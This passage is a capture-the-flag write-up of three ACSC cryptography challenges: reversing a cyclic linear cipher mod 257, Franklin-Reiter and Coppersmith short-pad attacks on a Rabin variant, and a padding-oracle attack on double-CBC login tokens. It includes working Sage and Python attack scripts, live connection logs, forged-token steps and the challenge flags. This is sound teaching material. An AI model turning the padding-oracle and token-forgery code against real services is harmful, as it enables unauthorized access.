b'XXXXXXXXXXXXXXXXXXXXX'
[25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25]

b'YYYYYYYYYYYYYYYYYYYYY'
Traceback (most recent call last):
  File "<REDACTED>", line 33, in <module>
    pickle.loads(pickle_rick)
  File "something_suspicious.py", line 71, in mix
AssertionError

b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
[0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]

b'\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01'
[231, 231, 231, 231, 231, 231, 231, 231, 231, 231, 231, 231, 231, 231, 231, 231, 231, 231, 231, 231, 231]

b'\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02'
[205, 205, 205, 205, 205, 205, 205, 205, 205, 205, 205, 205, 205, 205, 205, 205, 205, 205, 205, 205, 205]

Seems an increase in ascii value increases the encrypted string by 231, or decreases by 26. Notice that 231 - (-26) = 257, so we can assume that 257 is somehow used as the modulus.

And this explains why there is error for b'Y', since 25 + 231 = 256, which is outside the byte range (0 ~ 255).

There seems to be some files called something_suspicious.py, but I just did not care about it.

Let's change by just a bit to see what happens:

Reference:
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
[0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]

b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01'
[21, 20, 19, 18, 17, 16, 15, 14, 13, 12, 11, 10, 9, 8, 7, 6, 5, 4, 3, 2, 1]

b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02'
[42, 40, 38, 36, 34, 32, 30, 28, 26, 24, 22, 20, 18, 16, 14, 12, 10, 8, 6, 4, 2]

b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x01'
[41, 39, 37, 35, 33, 31, 29, 27, 25, 23, 21, 19, 17, 15, 13, 11, 9, 7, 5, 3, 22]

b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00'
[20, 19, 18, 17, 16, 15, 14, 13, 12, 11, 10, 9, 8, 7, 6, 5, 4, 3, 2, 1, 21]

It seems that there are beautiful arithmetric sequences formed when we modifies just a bit. Notice that the third results is basically the second result doubled.

Also, from the second and fifth test, we can see that when the plaintext is rotated, the ciphertext also rotated. We can carry out a test to add more confidence to the observation:

Reference:
b'Wubba lubba dub-dub!!
[77, 84, 207, 188, 169, 129, 9, 200, 66, 47, 28, 245, 125, 148, 14, 252, 148, 171, 37, 18, 176]

b'ubba dub-dub!!Wubba l'
[200, 66, 47, 28, 245, 125, 148, 14, 252, 148, 171, 37, 18, 176, 77, 84, 207, 188, 169, 129, 9]

So seems that this is the case.
Also, from the second, fourth and the fifth test, we can see that since second and fifth are added to form the fourth plaintext, the ciphertext is also added.

Which means if it is true, each byte in the plaintext is multiplied by a certain value and added to each byte in the ciphertext according to the location. We can carry a test:

Reference:
b'Wubba lubba dub-dub!!
[77, 84, 207, 188, 169, 129, 9, 200, 66, 47, 28, 245, 125, 148, 14, 252, 148, 171, 37, 18, 176]

b'Vubba lubba dub-dub!!'
[76, 63, 187, 169, 151, 112, 250, 185, 52, 34, 16, 234, 115, 139, 6, 245, 142, 166, 33, 15, 174]

b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01'
[21, 20, 19, 18, 17, 16, 15, 14, 13, 12, 11, 10, 9, 8, 7, 6, 5, 4, 3, 2, 1]

b'\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
[1, 21, 20, 19, 18, 17, 16, 15, 14, 13, 12, 11, 10, 9, 8, 7, 6, 5, 4, 3, 2]

The fourth result is obtained by rotating the third result to the right by 1.

So we can verify that the first result can be obtained by adding the second result and the fourth result.

Also, from the third result, we can see that the weight is the cyclic-left-distance from the byte position, where the farthest position, the neighbor just at the right has the largest weight.

Therefore, we can craft the encrypt function by our own:

def encrypt(rick_says):
    leng = len(rick_says)
    result = [0 for i in range(leng)]
    for i in range(leng):
        for j in range(leng):
            result[(i - j)%leng] += rick_says[i] * (j + 1)
    return [x%257 for x in result]

(yes, that function works even if the length is not 21)
and since it is linear, we can represent it using matrix form:

$$\left[\begin{array}{ccccc}1& 2& \dots & n-1& n\\ n& 1& \dots & n-2& n-1\\ ⋮& ⋮& \ddots & ⋮& ⋮\\ 3& 4& \dots & 1& 2\\ 2& 3& \dots & n& 1\end{array}\right]\left[\begin{array}{c}{b}_0\\ b_1\\ ⋮\\ b_{n-2}\\ b_{n-1}\end{array}\right]\equiv \left[\begin{array}{c}{c}_0\\ c_1\\ ⋮\\ c_{n-2}\\ c_{n-1}\end{array}\right](\mathrm{mod}257)$$

Therefore, we can solve it using the inverse matrix, but actually there's a more efficient way for this kind of cyclic matrix.

First, calculate the difference between each pair of adjacent rows:

$$\left[\begin{array}{ccccc}1-n& 1& \dots & 1& 1\\ 1& 1-n& \dots & 1& 1\\ ⋮& ⋮& \ddots & ⋮& ⋮\\ 1& 1& \dots & 1-n& 1\\ 1& 1& \dots & 1& 1-n\end{array}\right]\left[\begin{array}{c}{b}_0\\ b_1\\ ⋮\\ b_{n-2}\\ b_{n-1}\end{array}\right]\equiv \left[\begin{array}{c}{c}_0-c_1\\ c_1-c_2\\ ⋮\\ c_{n-2}-c_{n-1}\\ c_{n-1}-c_0\end{array}\right](\mathrm{mod}257)$$

Second, calculate the sum of all rows in the original matrix:

$(1+2+\cdots +(n-1)+n)(b_0+b_1+\cdots +b_{n-2}+b_{n-1})\equiv (c_0+c_1+\cdots +c_{n-2}+c_{n-1})(\mathrm{mod}257)$

$$\left[\begin{array}{ccccc}1& 1& \dots & 1& 1\end{array}\right]\left[\begin{array}{c}{b}_0\\ b_1\\ ⋮\\ b_{n-2}\\ b_{n-1}\end{array}\right]\equiv {\left(\frac{n(n+1)}{2}\right)}^{-1}\left[\begin{array}{c}{c}_0+c_1+\cdots +c_{n-2}+c_{n-1}\end{array}\right](\mathrm{mod}257)$$

Denote

${\left(\frac{n(n+1)}{2}\right)}^{-1}(c_0+c_1+\cdots +c_{n-2}+c_{n-1})mod257$ as

$s$.

Then, we subtract this sum from each row of difference:

$$\left[\begin{array}{ccccc}-n& 0& \dots & 0& 0\\ 0& -n& \dots & 0& 0\\ ⋮& ⋮& \ddots & ⋮& ⋮\\ 0& 0& \dots & -n& 0\\ 0& 0& \dots & 0& -n\end{array}\right]\left[\begin{array}{c}{b}_0\\ b_1\\ ⋮\\ b_{n-2}\\ b_{n-1}\end{array}\right]\equiv \left[\begin{array}{c}{c}_0-c_1-s\\ c_1-c_2-s\\ ⋮\\ c_{n-2}-c_{n-1}-s\\ c_{n-1}-c_0-s\end{array}\right](\mathrm{mod}257)$$

Then use division to recover all plaintexts:

$$\left[\begin{array}{ccccc}1& 0& \dots & 0& 0\\ 0& 1& \dots & 0& 0\\ ⋮& ⋮& \ddots & ⋮& ⋮\\ 0& 0& \dots & 1& 0\\ 0& 0& \dots & 0& 1\end{array}\right]\left[\begin{array}{c}{b}_0\\ b_1\\ ⋮\\ b_{n-2}\\ b_{n-1}\end{array}\right]\equiv -n^{-1}\left[\begin{array}{c}{c}_0-c_1-s\\ c_1-c_2-s\\ ⋮\\ c_{n-2}-c_{n-1}-s\\ c_{n-1}-c_0-s\end{array}\right](\mathrm{mod}257)$$

Since plaintext are all in bytes, we have the following result:

$b_i=(-n^{-1}(c_i-c_{(i+1)modn}-s))mod257$, where

$s={\left(\frac{n(n+1)}{2}\right)}^{-1}(c_0+c_1+\cdots +c_{n-2}+c_{n-1})mod257$.

The decrypt function is crafted as below:

def decrypt(result):
    leng = len(result)
    s = (pow((leng * (leng + 1)) >> 1, -1, 257) * sum(result)) % 257
    return bytes([(-pow(leng, -1, 257) * (result[x] - result[(x+1)%leng] - s))%257 for x in range(len(result))])

Use the previous obtained target as the argument:

>>> decrypt([98, 59, 114, 85, 203, 16, 155, 94, 218, 48, 235, 18, 189, 14, 117, 73, 138, 209, 91, 104, 28])
b"YEAH!I'm_pickle-RICK!"

Submit this byte string back to the original program:

                                                                                     `.inWWx*.
                                                                                  `izW@MxnnnxMn;
                                                                                `*WWxnnnnnnnnnnxx*`
                                                                               :MWnnnznnnnnnnnnnnxxi`
                                                                             `#@xnn#***+#+nnnnnnnnnxn,
                                                               
...
Skipped
...
                                                               
         .#WMnnnnnnnnnnnnnnnnnnnnnnnxWW#,
           `ixWMxnnnnnnnnnnnnnnnnxW@ni`
              .izMWWMxxxxxxxMMW@M#;`
                 `.;+#nxxxzz+*;.`                                        http://www.asciify.net/ascii/ascii/11190

Pickle Rick says:
b"YEAH!I'm_pickle-RICK!"
The flag machine says:
CORRECT! The flag is: ACSC{YEAH!I'm_pickle-RICK!}

Flag: ACSC{YEAH!I'm_pickle-RICK!}

Two Rabin (crypto) (Score: 360, 20 Solves)

Source (chal.py)

import random
from Crypto.Util.number import *
from Crypto.Util.Padding import pad

from flag import flag

p = getStrongPrime(512)
q = getStrongPrime(512)
n = p * q
B = getStrongPrime(512)

m = flag[0:len(flag)//2]
print("flag1_len =",len(m))

m1 = bytes_to_long(m)
m2 = bytes_to_long(pad(m,128))

assert m1 < n
assert m2 < n

c1 = (m1*(m1+B)) % n
c2 = (m2*(m2+B)) % n

print("n =",n)
print("B =",B)
print("c1 =",c1)
print("c2 =",c2)

# Harder!

m = flag[len(flag)//2:]
print("flag2_len =",len(m))

m1 = bytes_to_long(m)
m1 <<= ( (128-len(m))*8 )
m1 += random.SystemRandom().getrandbits( (128-len(m))*8 )

m2 = bytes_to_long(m)
m2 <<= ( (128-len(m))*8 )
m2 += random.SystemRandom().getrandbits( (128-len(m))*8 )

assert m1 < n
assert m2 < n

c1 = (m1*(m1+B)) % n
c2 = (m2*(m2+B)) % n

print("hard_c1 =",c1)
print("hard_c2 =",c2)

Analysis

The task is related to the Rabin cryptosystem, like RSA but with 2 as the exponent. Since there are two plaintext-ciphertext pairs used, it has nothing to do with the normal Rabin decryption method. Instead, common attacks for RSA also apply here.

Solution

First we need to transform the plaintext-ciphertext pair to normal Rabin encryption:

$$\begin{gathered} c_0=p_0(p_0+B)modn \\ {c}_0=\left((p_0+\frac{B}{2}-\frac{B}{2})(p_0+\frac{B}{2}+\frac{B}{2})\right)modn \\ {c}_0=({(p_0+\frac{B}{2})}^2-{\left(\frac{B}{2}\right)}^2)modn \\ {c}_0+{\left(\frac{B}{2}\right)}^2\equiv {(p_0+\frac{B}{2})}^2(\mathrm{mod}n) \end{gathered}$$

Notice that since

$B$ is odd, we are referring

$\frac{B}{2}$ to

$(B\times 2^{-1})modn$ here, which is

$\frac{B+n}{2}modn$.

Since there is relationship inferred between m1 and m2, which is the padding:

$$m_2=(m_1\ll (8(128-98)))+(128-98)\times \frac{(1\ll (8(128-98)))-1}{255}$$
or simply:

$$\begin{gathered} m_2=m\times m_1+c,\text{where} \\ m=1\ll 240 \\ c=\text{0x1e1e1e1e1e1e1e1e1e1e1e1e1e1e1e1e1e1e1e1e1e1e1e1e1e1e1e1e1e1e} \end{gathered}$$

Therefore, Franklin-Reiter Related Message Attack can be applied here.

The plaintext after translation becomes

$m_1+\frac{B}{2}$ and

$m_2+\frac{B}{2}$ respectively.

Denote

$$\begin{gathered} m_1^{\prime }=m_1+\frac{B}{2} \\ {m}_2^{\prime }=m_2+\frac{B}{2} \end{gathered}$$
then

$$\begin{gathered} m_2=m\times m_1+c \\ {m}_2^{\prime }-\frac{B}{2}=m\times (m_1^{\prime }-\frac{B}{2})+c \\ {m}_2^{\prime }=m\times m_1^{\prime }+(c-\frac{B(m-1)}{2}) \end{gathered}$$

Therefore, using sage, we can recover the plaintext:

n = 105663510238670420757255989578978162666434740162415948750279893317701612062865075870926559751210244886747509597507458509604874043682717453885668881354391379276091832437791327382673554621542363370695590872213882821916016679451005257003326444660295787578301365987666679013861017982035560204259777436442969488099
e = 2
B = 12408624070212894491872051808326026233625878902991556747856160971787460076467522269639429595067604541456868927539680514190186916845592948405088662144279471
c1= 47149257341850631803344907793040624016460864394802627848277699824692112650262968210121452299581667376809654259561510658416826163949830223407035750286554940980726936799838074413937433800942520987785496915219844827204556044437125649495753599550708106983195864758161432571740109614959841908745488347057154186396
c2= 38096143360064857625836039270668052307251843760085437365614169441559213241186400206703536344838144000472263634954875924378598171294646491844012132284477949793329427432803416979432652621257006572714223359085436237334735438682570204741205174909769464683299442221434350777366303691294099640097749346031264625862
delta = (B + n) >> 1
c1 = (c1 + delta^2) % n
c2 = (c2 + delta^2) % n
# Source: https://github.com/ashutosh1206/Crypton/blob/master/RSA-encryption/Attack-Franklin-Reiter/exploit.sage
def gcd(a, b):
     while b:
         a, b = b, a % b
     return a.monic()
def franklinreiter(C1, C2, e, N, a, b):
     P.<X> = PolynomialRing(Zmod(N))
     g1 = (a*X + b)^e - C1
     g2 = X^e - C2
     result = -gcd(g1, g2).coefficients()[0]
     return result
def int_to_bytes(x: int) -> bytes:
     return x.to_bytes((x.bit_length() + 7) // 8, 'big')
bg = 0x1e1e1e1e1e1e1e1e1e1e1e1e1e1e1e1e1e1e1e1e1e1e1e1e1e1e1e1e1e1e
soln = franklinreiter(c2, c1, e, n, 1 << 240, bg + delta - (delta << 240)) - delta
print(int_to_bytes(int(soln)))

Output:

b'ACSC{Rabin_cryptosystem_was_published_in_January_1979_ed82c25b173f38624f7ba16247c31d04ca22d8652da4'

which is the first part of the flag.

For the second part, it is basically similar, instead we are not able to determine the linear relationship from the source code directly.

This time both plaintexts are shifted left, then the lowest bytes are padded with random bits.

Which means the upper bits for both plaintexts are the same.

Since the plaintext length is 98 bytes, which means the plaintexts just differ in the lowest

$(128-98)\times 8=240$ bits.

Although is difference is unknown, we can apply Coppersmith’s short-pad attack to recover it.

Quote from Wikipedia:

Let

$⟨N,e⟩$ be a public RSA key where

$N$ is

$n$-bits long. Set

$m=\lfloor \frac{n}{e^2}\rfloor$. Let

$M\in {\mathbb{Z}}_N^{\ast }$ be a message of length at most

$n-m$ bits. Define

$M_1=2^{m}M+r_1$ and

$M_2=2^{m}M+r_2$, where

$r_1$ and

$r_2$ are distinct integers with

$0\le r_1,r_2<2^m$. If Eve is given

$⟨N,e⟩$ and the encryptions

$C_1,C_2$ of

$M_1,M_2$ (but is not given

$r_1$ or

$r_2$), she can efficiently recover

$M$.

In this case,

$m=\lfloor \frac{n}{e^2}\rfloor =\lfloor \frac{1024}{2^2}\rfloor =256,n-m=768$, the number of bits of

$M$ is

$98\times 8=784$, which is slightly more than

$768$.

Notice that

$n-m$ is only the boundary that

$M_1,M_2<N$, which actually means that

$M$ (actually

$M_1,M_2$ also) can be recovered efficiently if

$r_1,r_2$ are not exceeding

$m$ bits, as we can treat the extra message bits as in

$r_1,r_2$ instead of

$M$.

We can try to solve it using this attack. But since the padding length is close to the limit, but we have to use a much smaller epsilon and expect a longer running time.

c1 = 73091191827823774495468908722773206641492423784400072752465168109870542883199959598717050676487545742986091081315652284268136739187215026022065778742525832001516743913783423994796457270286069750481789982702001563824813913547627820131760747156379815528428547155422785084878636818919308472977926622234822351389
c2 = 21303605284622657693928572452692917426184397648451262767916068031147685805357948196368866787751567262515163804299565902544134567172298465831142768549321228087238170761793574794991881327590118848547031077305045920819173332543516073028600540903504720606513570298252979409711977771956104783864344110894347670094
n = # as above
e = # as above
B = # as above
delta = (B + n) >> 1
c1 = (c1 + delta^2) % n
c2 = (c2 + delta^2) % n

# Source: https://github.com/ValarDragon/CTF-Crypto/blob/master/RSA/FranklinReiter.sage
def CoppersmithShortPadAttack(e,n,C1,C2,eps=1/30):
    P.<x,y> = PolynomialRing(ZZ)
    ZmodN = Zmod(n)
    g1 = x^e - C1
    g2 = (x+y)^e - C2
    res = g1.resultant(g2)
    P.<y> = PolynomialRing(ZmodN)
    # Convert Multivariate Polynomial Ring to Univariate Polynomial Ring
    rres = 0
    for i in range(len(res.coefficients())):
        rres += res.coefficients()[i]*(y^(res.exponents()[i][1]))

    diff = rres.small_roots(epsilon=eps)
    return diff
def gcd(a, b):
    # as above
def franklinreiter(C1, C2, e, N, a, b):
    # as above
def int_to_bytes(x: int) -> bytes:
     return x.to_bytes((x.bit_length() + 7) // 8, 'big')
diff = CoppersmithShortPadAttack(e, n, c1, c2, 1/70)
print(diff)
diff = diff[0] # r2 - r1
soln = (franklinreiter(c2, c1, e, n, 1, -diff) - delta) >> 240
int_to_bytes(int(soln))

Output:

[1637558660573652475698054766420163959191730746581158985657024969935597275, 105663510238670420757255989578978162666434740162415948750279893317701612062865075870926559751210244886747509597507458509604874043682717453885668881354391379276091832437791327382673554621542363370695590872213882821916016679451005257003324807101635213925825667932900258849901826251288979045274120411473033890824]
b'a1d701b0966ffa10a4d1_ec0c177f446964ca9595c187869312b2c0929671ca9b7f0a27e01621c90a9ac255_wow_GJ!!!}'

By combining two parts, we can obtain the flag:

ACSC{Rabin_cryptosystem_was_published_in_January_1979_ed82c25b173f38624f7ba16247c31d04ca22d8652da4a1d701b0966ffa10a4d1_ec0c177f446964ca9595c187869312b2c0929671ca9b7f0a27e01621c90a9ac255_wow_GJ!!!}

CBCBC (crypto) (Score: 210, 35 Solves)

Source (chal.py)

#!/usr/bin/env python3

import base64
import json
import os
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
from secret import hidden_username, flag

key = os.urandom(16)
iv1 = os.urandom(16)
iv2 = os.urandom(16)


def encrypt(msg):
    aes1 = AES.new(key, AES.MODE_CBC, iv1)
    aes2 = AES.new(key, AES.MODE_CBC, iv2)
    enc = aes2.encrypt(aes1.encrypt(pad(msg, 16)))
    return iv1 + iv2 + enc


def decrypt(msg):
    iv1, iv2, enc = msg[:16], msg[16:32], msg[32:]
    aes1 = AES.new(key, AES.MODE_CBC, iv1)
    aes2 = AES.new(key, AES.MODE_CBC, iv2)
    msg = unpad(aes1.decrypt(aes2.decrypt(enc)), 16)
    return msg


def create_user():
    username = input("Your username: ")
    if username:
        data = {"username": username, "is_admin": False}
    else:
        # Default token
        data = {"username": hidden_username, "is_admin": True}
    token = encrypt(json.dumps(data).encode())
    print("Your token: ")
    print(base64.b64encode(token).decode())


def login():
    username = input("Your username: ")
    token = input("Your token: ").encode()
    try:
        data_raw = decrypt(base64.b64decode(token))
    except:
        print("Failed to login! Check your token again")
        return None

    try:
        data = json.loads(data_raw.decode())
    except:
        print("Failed to login! Your token is malformed")
        return None

    if "username" not in data or data["username"] != username:
        print("Failed to login! Check your username again")
        return None

    return data


def none_menu():
    print("1. Create user")
    print("2. Log in")
    print("3. Exit")

    try:
        inp = int(input("> "))
    except ValueError:
        print("Wrong choice!")
        return None

    if inp == 1:
        create_user()
        return None
    elif inp == 2:
        return login()
    elif inp == 3:
        exit(0)
    else:
        print("Wrong choice!")
        return None


def user_menu(user):
    print("1. Show flag")
    print("2. Log out")
    print("3. Exit")

    try:
        inp = int(input("> "))
    except ValueError:
        print("Wrong choice!")
        return None

    if inp == 1:
        if "is_admin" in user and user["is_admin"]:
            print(flag)
        else:
            print("No.")
        return user
    elif inp == 2:
        return None
    elif inp == 3:
        exit(0)
    else:
        print("Wrong choice!")
        return None


def main():
    user = None

    print("Welcome to CBCBC flag sharing service!")
    print("You can get the flag free!")
    print("This is super-duper safe from padding oracle attacks,")
    print("because it's using CBC twice!")
    print("=====================================================")

    while True:
        if user:
            user = user_menu(user)
        else:
            user = none_menu()


if __name__ == "__main__":
    main()

Analysis

In this system, user can create account using their provided username, or create an admin account using the hidden name. The flag can be obtained if the user login using the admin account.

The token is used for login, which is a base64 representation of the encrypted string, which is by default the padded JSON representation of {"username": username, "is_admin": is_admin}, with string username and boolean is_admin.

The encryption is done by applying AES_CBC twice using the same key, iv1 and iv2 which is generated at the start of the program.

Therefore, the decryption can be illustrated as below:

                  [C_1]             [C_2]             [C_3]
(CBC)               |                 |                 |
                    v -------.        v -------.        v --- ...
                  (Dec)      |      (Dec)      |      (Dec)
                    |        |        |        |        |
                    v        |        v        |        v
[IV2] ----------> (Xor)      .----> (Xor)      .----> (Xor)
                    |                 |                 |
                    v                 v                 v
                  [T_1]             [T_2]             [T_3]  
(CBC)               |                 |                 |
                    v -------.        v -------.        v --- ...
                  (Dec)      |      (Dec)      |      (Dec)
                    |        |        |        |        |
                    v        |        v        |        v
[IV1] ----------> (Xor)      .----> (Xor)      .----> (Xor)
                    |                 |                 |
                    v                 v                 v
                  [M_1]             [M_2]             [M_3]

Solution

Since the program gives three different messages regarding to different error states:

"Failed to login! Check your token again" for corrupted token, which means the unpadding is unsuccessful.

"Failed to login! Your token is malformed" for malformed token, which means the data is not valid JSON.

"Failed to login! Check your username again" for invalid username, which means the given username does not match the one in data.

The data of admin is supposed to be the following:

{"username": hidden_username, "is_admin": True}

where we do not have the exact length of the username.

A sample data is like the following:

b'y5\xcfp\x12\xba\xd4\x86qed?_0\xf5\xc2\x12\xd2\x86\x05\xa10\xbb\xe3:\xd4>|a+X\xb91\xb1\xf4\x96\xdb~E<\x00\x7f7\x8b\xa3\xb7gA^\x18\x97$\xdc^=U\x85\xc63k\xc4ioO:\xc8Uq\xdb\xe1_\xdb\xa5\x99\x17\xa1\xfa\xd5\x90\x06'

The length is 80, which means there are IV1, IV2, and 3 data blocks.

Since the length of {"username": "", "is_admin": True} id 34, we can conclude that the hidden_username is no longer than 48 - 1 - 34 = 13 characters.

Assume that the username is at least 2 characters long, then we have 2 unknown bytes in the username for the first block.

0123456789abcdef
{"username": "??

Since we can actually modify IV1 to change the content of the first plaintext block without affecting other blocks, we can make use of the JSON parser to deduce the bytes.

(For the JSON parser in Python, control characters (0x00~0x1f) and non-ascii characters (0x80~0xff) are not supported, and malformed data should be reported if " or \ is found in the string (unless " is preceded by \, or valid escaped control character is preceded by \))

Since the ascii code of " is 0x22, and the ascii code of \ is 0x5c, we know that when modifying IV1 from 0x00 to 0xff, if the invalid character appears in the same half as the control characters (continuous 32 errors), then it is ", otherwise it is \.

The test is carried out:

iv1, iv2, enc = msg[:16], msg[16:32], msg[32:]
for p in range(2):
    print("Testing last", p + 1, "places:")
    for m in range(128):
        iv1_m = list(iv1)
        # modify hi
        iv1_m[-p-1] ^= m
        iv1_m = bytes(iv1_m)
        new_m = base64.b64encode(iv1_m + iv2 + enc)
        print(testlogin(new_m)[25], end="\n" if m % 16 == 15 else " ")

Testing last 1 places:
u u u u u u u u u u u u u u u u
u e u u u u u u u u u u u u u u
e e e e e e e e e e e e e e e e
e e e e e e e e e e e e e e e e
u u u u u u u u u u u u u u u u
u u u u u u u u u u u u u u u u
u u u u u u u u u u u u u u u e
u u u u u u u u u u u u u u u u
Testing last 2 places:
u u u u u u u u u u u u u u e u
u u u u u u u u u u u u u u u u
u u u u u u u u u u u u u u u u
u u u u u u u u u u u u u u u u
e e e e e e e e e e e e e e e e
e e e e e e e e e e e e e e e e
u u u u u u u u u u u u u u u u
e u u u u u u u u u u u u u u u

We can see that for the last place, the e that is in the same half as the control characters is at place 0x11, therefore the character is supposed to be 0x22 (") ^ 0x11 = 0x33 (3).

By applying the same for the second last place, we have 0x22 (") ^ 0x70 = 0x52 (R).

We cannot use the same method to test for second plaintext block by modifying IV2 as it will corrupt T1 that also corrupts P1, or modify T1 directly as we do not know the encryption result of T1.

However, we can actually makes use of another error to test recover the content of the second plaintext block (and actually can be used to replace the parts above for the first plaintext block), which makes use of the padding.

We can remove all blocks after the target block to makes our target block to be the padded block.

Then, the last byte of the block will indicate how many extra characters are in the block by its ascii value, and all extra blocks will have the same ascii value. Therefore, if not all the blocks as indicated as extra characters have the same ascii value, then unpad function will throw the error.

To modify the plaintext data, we have to modify the ciphertext 1 block before as they are xor-connected. Since we have two layers, so eventually we need to modify the token 2 blocks before to change the bits in the plaintext correspondingly. (the IV2 is treated as the second previous block (C_0) to C_2))

iv1, iv2, enc1, enc2, enc3 = msg[:16], msg[16:32], msg[32:48], msg[48:64], msg[64:]
known = [0] * 16
for paddings in range(1, 17):
    known2 = [x for x in known]
    for j in range(1, paddings):
        known2[-j] ^= paddings
    for i in tqdm(range(32, 127)):
        known2[-paddings] = i ^ paddings
        iv2t = xor(iv2, bytes(known2))
        if testlogin(iv1 + iv2t + enc1 + enc2) != "t":
            known[-paddings] = i
            break
print("".join(chr(x) for x in known))

The output is

[x] Opening connection to cbcbc.chal.acsc.asia on port 52171
[x] Opening connection to cbcbc.chal.acsc.asia on port 52171: Trying 34.146.13.152
[+] Opening connection to cbcbc.chal.acsc.asia on port 52171: Done
 87%|██████████████████████████████▌    | 83/95 [00:15<00:02,  5.53it/s]
 77%|██████████████████████████▉        | 73/95 [00:12<00:03,  5.72it/s]
  2%|▊                                   | 2/95 [00:00<00:25,  3.71it/s]
  0%|                                            | 0/95 [00:00<?, ?it/s]
 13%|████▍                              | 12/95 [00:02<00:15,  5.26it/s]
  2%|▊                                   | 2/95 [00:00<00:23,  3.96it/s]
 39%|█████████████▋                     | 37/95 [00:06<00:10,  5.59it/s]
 73%|█████████████████████████▍         | 69/95 [00:12<00:04,  5.63it/s]
 86%|██████████████████████████████▏    | 82/95 [00:15<00:02,  5.44it/s]
 55%|███████████████████▏               | 52/95 [00:09<00:08,  5.34it/s]
 79%|███████████████████████████▋       | 75/95 [00:17<00:04,  4.26it/s]
 71%|████████████████████████▋          | 67/95 [00:12<00:05,  5.44it/s]
 68%|███████████████████████▉           | 65/95 [00:11<00:05,  5.53it/s]
 18%|██████▎                            | 17/95 [00:03<00:14,  5.20it/s]
 36%|████████████▌                      | 34/95 [00:06<00:11,  5.33it/s]
 72%|█████████████████████████          | 68/95 [00:13<00:05,  5.13it/s]
dB1ackTreE", "is

Which means the complete plaintext is {"username": "R3dB1ackTreE", "is_admin": True}.

Therefore, we can connect to the server and get the flag:

nc cbcbc.chal.acsc.asia 52171
== proof-of-work: disabled ==
Welcome to CBCBC flag sharing service!
You can get the flag free!
This is super-duper safe from padding oracle attacks,
because it's using CBC twice!
=====================================================
1. Create user
2. Log in
3. Exit
> 1
Your username:
Your token:
pFf+CFxGx8cqGNU5B8FYmZHiwbMOGvNasis4DKb5J6bOR0xbM4N1rsIUa3ry9QAe5MYJM4/kRukBTyQwTVhDieiupQ4RDtEKwShSzRiEFuo=
1. Create user
2. Log in
3. Exit
> 2
Your username: R3dB1ackTreE
Your token: pFf+CFxGx8cqGNU5B8FYmZHiwbMOGvNasis4DKb5J6bOR0xbM4N1rsIUa3ry9QAe5MYJM4/kRukBTyQwTVhDieiupQ4RDtEKwShSzRiEFuo=
1. Show flag
2. Log out
3. Exit
> 1
ACSC{wow_double_CBC_mode_cannot_stop_you_from_doing_padding_oracle_attack_nice_job}
1. Show flag
2. Log out
3. Exit
> 3

Flag: ACSC{wow_double_CBC_mode_cannot_stop_you_from_doing_padding_oracle_attack_nice_job}.

Extras

If we want to use this method to get block 1, then we can modify iv1 instead.

iv1, iv2, enc1, enc2, enc3 = msg[:16], msg[16:32], msg[32:48], msg[48:64], msg[64:]
known = [0] * 16
for paddings in range(1, 3):
    known2 = [x for x in known]
    for j in range(1, paddings):
        known2[-j] ^= paddings
    for i in tqdm(range(32, 127)):
        known2[-paddings] = i ^ paddings
        iv1t = xor(iv1, bytes(known2))
        if testlogin(iv1t + iv2 + enc1) != "t":
            known[-paddings] = i
            break
print("".join(chr(x) for x in known))

The output is

[x] Opening connection to cbcbc.chal.acsc.asia on port 52171
[x] Opening connection to cbcbc.chal.acsc.asia on port 52171: Trying 34.146.13.152
[+] Opening connection to cbcbc.chal.acsc.asia on port 52171: Done
 20%|███████                            | 19/95 [00:03<00:14,  5.11it/s]
 53%|██████████████████▍                | 50/95 [00:09<00:08,  5.24it/s]
R3

Also, some may want to forge the is_admin to true for arbitrary user. In this case, you may have to do the following:

(Assume there are 3 blocks)

1. Modify ciphertext1 to correct plaintext3, then plaintext1 and plaintext2 will be corrupted. Use padding attack on IV2 to recover the content in plaintext2.
2. Modify IV2 to correct plaintext2, then plaintext1 will still be corrupted. Use padding attack on IV1 to recover the content in plaintext1.
3. Modify IV1 to correct plaintext1.

If someone has not noticed the different error messages between padding and bad JSON, one may try to produce garbage data blocks like the below:

Set A....A (82 A's) as username, then the data looks like this:

0123456789abcdef (Block 1)
{"username": "AA (Block 2)
AAAAAAAAAAAAAAAA (Block 3)
AAAAAAAAAAAAAAAA (Block 4)
AAAAAAAAAAAAAAAA (Block 5)
AAAAAAAAAAAAAAAA (Block 6)
AAAAAAAAAAAAAAAA (Block 7)
", "is_admin": F (Block 8)
alse}            (Block 9)

Remove Block 9, modify Block 6 so that Block 8 looks like the following: (is_admin is true now)

0123456789abcdef (Block 1)
{"username": "AA (Block 2)
AAAAAAAAAAAAAAAA (Block 3)
AAAAAAAAAAAAAAAA (Block 4)
AAAAAAAAAAAAAAAA (Block 5)
<16-bytegarbage> (Block 6)
<16-bytegarbage> (Block 7)
","is_admin":1}  (Block 8)

Modify IV1 so that Block 1 looks like the following: (username is fixed to "" now)

0123456789abcdef (Block 1)
{"username":""," (Block 2)
AAAAAAAAAAAAAAAA (Block 3)
